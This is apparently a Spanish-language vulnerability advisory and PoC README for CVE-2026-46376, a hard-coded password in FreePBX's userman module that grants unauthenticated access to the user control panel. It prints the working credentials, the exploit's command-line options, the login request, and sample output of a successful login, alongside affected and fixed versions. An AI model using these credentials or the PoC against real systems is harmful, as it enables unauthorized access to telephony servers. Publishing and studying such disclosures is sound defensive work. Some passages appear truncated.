
CVE-2026-46376 - Acceso UCP no autenticado a FreePBX mediante credenciales codificadas
Una vulnerabilidad crítica en el módulo de Gestión de Usuarios (userman) de FreePBX permite a atacantes no autenticados acceder al Panel de Control de Usuario (UCP) utilizando credenciales codificadas que se incrustan durante el proceso de configuración de plantillas genéricas de UCP.
CVSS v4.0: 9.1 (Crítico) | CWE-798: Uso de credenciales codificadas
Divulgado: 15 de mayo de 2026 | Reportero: s0nnyWT
Cuando un administrador utiliza la función opcional de configuración de plantillas genéricas de UCP (introducida en 2021), se crea un usuario de sistema FreePBXUCPTemplateCreator con una contraseña codificada y estática. Si el administrador nunca cambia esta contraseña después de la configuración, cualquier usuario no autenticado en la red puede iniciar sesión en el UCP con estas credenciales.
| Campo | Valor |
|---|---|
| Usuario | FreePBXUCPTemplateCreator |
| Contraseña | 1a2b3c@fd48jshs03123ld |
| Fuente | Userman.class.php — contraseña procesada mediante md5() |
| Vector de ataque | Red |
| Complejidad | Baja |
| Autenticación requerida | Ninguna |
| Interacción del usuario | Ninguna |
| Requisito previo | El administrador debe haber ejecutado la configuración de plantillas genéricas de UCP |
Nota: El usuario
FreePBXUCPTemplateCreatorsolo se crea si un administrador ejecuta explícitamente la función de configuración de plantillas genéricas de UCP. Los sistemas donde esta configuración nunca se realizó no son explotables a través de este CVE, incluso si ejecutan una versión afectada.
La corrección aleatoriza la contraseña mediante bin2hex(random_bytes(24)) durante la instalación/actualización, y los creadores de plantillas existentes ven regenerada su contraseña al actualizar.
pip3 install requests
python3 poc.py <target_url>
positional arguments:
target Target URL (e.g. http://192.168.1.100)
optional arguments:
-h, --help show this help message and exit
--no-check Skip version pre-flight check
--timeout TIMEOUT Request timeout in seconds (default: 15)
--method {creds,unlock,admin,all}
Which exploit method to run (default: all)
-y, --yes Auto-continue even if version is out of range
POST /ucp/ajax.php con module=User&command=login usando las credenciales codificadas?unlockkey=&templateid=$ python3 poc.py http://192.168.1.100
============================================
CVE-2026-46376 PoC - FreePBX UCP Access
Target: http://192.168.1.100
============================================
[+] Target is reachable (HTTP 200)
[+] FreePBX version: 16.0.30
[+] Version 16.0.30 is in the affected range
[+] UCP interface is accessible
============================================
Exploitation
============================================
============================================
Method 1: Hard-Coded UCP Credentials
============================================
Username: FreePBXUCPTemplateCreator
Password: 1a2b3c@fd48jshs03123ld
[+] Got CSRF token: a749bea059fa66bd32087a8481a4d07b
[+] SUCCESS! Logged in as FreePBXUCPTemplateCreator
============================================
Summary
============================================
Target is VULNERABLE
Para comprobar si un sistema es explotable, el PoC envía una solicitud de inicio de sesión a POST /ucp/ajax.php con module=User&command=login y las credenciales. Una respuesta {"status":true} indica que el usuario creador de plantillas existe y que la contraseña sigue siendo la predeterminada.
Una respuesta {"status":false,"message":"Invalid Login Credentials"} significa que:
userman a 16.0.45 (FreePBX 16) o 17.0.7 (FreePBX 17)Este PoC se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. El uso no autorizado de este exploit contra sistemas que no posee o para los que no tiene permiso explícito de prueba es ilegal. Los autores no son responsables de ningún uso indebido o daño causado por esta herramienta.
| Plataforma | Módulo userman | Afectada | Corregida |
|---|
| FreePBX 15 | — | 15.0.42+ | N/D |
| FreePBX 16 | userman | ≤ 16.0.44 | 16.0.45 |
| FreePBX 17 | userman | ≤ 17.0.6 | 17.0.7 |